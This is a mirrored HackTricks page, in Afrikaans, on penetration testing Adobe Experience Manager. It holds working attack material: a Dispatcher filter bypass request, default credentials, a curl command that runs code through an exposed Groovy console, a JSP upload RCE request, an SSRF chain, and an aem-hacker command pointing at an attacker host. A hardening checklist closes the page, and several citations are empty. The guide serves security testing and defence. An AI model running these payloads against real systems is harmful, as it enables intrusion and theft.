mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
118 lines
5.7 KiB
Markdown
118 lines
5.7 KiB
Markdown
# AEM (Adobe Experience Manager) Pentesting
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
> Adobe Experience Manager (AEM, deel van die Adobe Experience Cloud) is 'n ondernemings CMS wat bo-op Apache Sling/Felix (OSGi) en 'n Java Content Repository (JCR) loop.
|
||
> Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reëls, standaard akrediteer en 'n lang stert van CVE's bloot wat elke kwartaal reggestel word.
|
||
|
||
Die kontrolelys hieronder fokus op **extern bereikbare (unauth) aanval oppervlak** wat voortdurend in werklike betrokkenhede verskyn (2022-2025).
|
||
|
||
---
|
||
|
||
## 1. Fingerprinting
|
||
```
|
||
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||
X-Content-Type-Options: nosniff
|
||
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||
X-Vary: Accept-Encoding
|
||
```
|
||
Ander vinnige aanwysers:
|
||
* `/etc.clientlibs/` statiese pad teenwoordig (gee JS/CSS terug).
|
||
* `/libs/granite/core/content/login.html` aanmeldblad met die “Adobe Experience Manager” banier.
|
||
* `</script><!--/* CQ */-->` kommentaar aan die onderkant van HTML.
|
||
|
||
---
|
||
|
||
## 2. Hoë-waarde nie-geoutentiseerde eindpunte
|
||
|
||
Pad | Wat jy kry | Aantekeninge
|
||
---- | ------------- | -----
|
||
`/.json`, `/.1.json` | JCR knope via **DefaultGetServlet** | Dikwels geblokkeer, maar *Dispatcher omseiling* (sien hieronder) werk.
|
||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Lek van bladboom, interne pades, gebruikersname.
|
||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsole | 403 per standaard; as blootgestel & akrediteer gevind ⇒ bundel-oplaai RCE.
|
||
`/crx/packmgr/index.jsp` | Pakketbestuurder | Laat geoutentiseerde inhoudspakkette toe → JSP payload oplaai.
|
||
`/etc/groovyconsole/**` | AEM Groovy Konsole | As blootgestel → arbitrêre Groovy / Java uitvoering.
|
||
`/libs/cq/AuditlogSearchServlet.json` | Oudit logs | Inligtingsontsluiting.
|
||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS-vak.
|
||
|
||
### Dispatcher omseiling truuk
|
||
Meeste produksie-webwerwe sit agter die *Dispatcher* (omgekeerde proxy). Sy filterreëls kan omseil word deur 'n toegelate statiese uitbreiding **na 'n puntkomma of geënkodeerde nuwe lyn** by te voeg:
|
||
```
|
||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||
```
|
||
'n Enkele versoek soos hierbo openbaar dikwels gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 【】
|
||
|
||
---
|
||
|
||
## 3. Algemene miskonfigurasies (nog steeds lewendig in 2025)
|
||
|
||
1. **Anonieme POST servlet** – `POST /.json` met `:operation=import` laat jou toe om nuwe JCR knope te plant. Om `*.json` POST in die Dispatcher te blokkeer, los dit op. 【】
|
||
2. **Wêreldleesbare gebruikersprofiele** – standaard ACL verleen `jcr:read` op `/home/users/**/profile/*` aan almal.
|
||
3. **Standaard akrediteer** – `admin:admin`, `author:author`, `replication:replication`.
|
||
4. **WCMDebugFilter** geaktiveer ⇒ weerspieëlde XSS via `?debug=layout` (CVE-2016-7882, steeds gevind op erfenis 6.4 installasies).
|
||
5. **Groovy Console blootgestel** – afstandkode-uitvoering deur 'n Groovy-skrip te stuur:
|
||
```bash
|
||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||
```
|
||
|
||
---
|
||
|
||
## 4. Onlangse kwesbaarhede (dienspakket kadens)
|
||
|
||
Kwartaal | CVE | Aangetas | Impak
|
||
------- | --- | -------- | ------
|
||
Des 2024 | **CVE-2024-43711** | 6.5.21 en vroeër | Onbehoorlike invoervalidasie → **Arbitraire kode-uitvoering** (vereis lae-priv akker). 【】
|
||
Des 2024 | CVE-2024-43724/26 | 6.5.21 en vroeër | DOM / Gestoor XSS in Move Page Wizard. 【】
|
||
Des 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-gebaseerde XSS via vervaardigde URL. 【】
|
||
Des 2022 | CVE-2022-30683 | ≤ 6.5.13 | Crypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 【】
|
||
|
||
Kontroleer altyd die *APSB* bulletin wat ooreenstem met die kliënt se dienspakket en vra die nuutste **6.5.22** of *Cloud Service 2024.11*.
|
||
|
||
---
|
||
|
||
## 5. Exploitasiestukke
|
||
|
||
### 5.1 RCE via dispatcher omseiling + JSP opgelaai
|
||
As anonieme skryf moontlik is:
|
||
```
|
||
# 1. Create a node that will become /content/evil.jsp
|
||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
:contentType=text/plain
|
||
jcr:data=<% out.println("pwned"); %>
|
||
:operation=import
|
||
```
|
||
Now request `/content/evil.jsp` – die JSP loop met die AEM proses gebruiker.
|
||
|
||
### 5.2 SSRF na RCE (histories < 6.3)
|
||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||
`aem_ssrf2rce.py` van **aem-hacker** outomatiseer die volle ketting. 【】
|
||
|
||
---
|
||
|
||
## 6. Gereedskap
|
||
|
||
* **aem-hacker** – Switserse leër enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer.
|
||
```bash
|
||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||
```【】
|
||
* **Inhoud Brute-force** – herhalend versoek `/_jcr_content.(json|html)` om verborge komponente te ontdek.
|
||
* **osgi-infect** – laai kwaadwillige OSGi bundel op via `/system/console/bundles` as kredens beskikbaar is.
|
||
|
||
---
|
||
|
||
## 7. Versterking kontrolelys (vir jou verslag se aanbevelings)
|
||
|
||
1. Hou die instansie op die **nuutste kumulatiewe dienspakket** (soos van Jul 2025: 6.5.22).
|
||
2. Verwyder/roteer standaard rekeninge; afdwing SSO/SAML.
|
||
3. Versterk **Dispatcher filters** – weier `;`, geënkodeerde nuwe reëls, en `*.json` of `*.querybuilder.json` vir anonieme gebruikers.
|
||
4. Deaktiveer of beskerm consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) met IP toelaat-lists.
|
||
5. Pas die *Anonieme Toestemming Versterking* pakket toe wat deur Adobe gestuur is.
|
||
|
||
## Verwysings
|
||
|
||
* Adobe Security Bulletin APSB24-69 – “Veiligheidsopdaterings vir Adobe Experience Manager (Des 2024)”.
|
||
* 0ang3el – aem-hacker hulpmiddel (GitHub).
|
||
{{#include ../../banners/hacktricks-training.md}}
|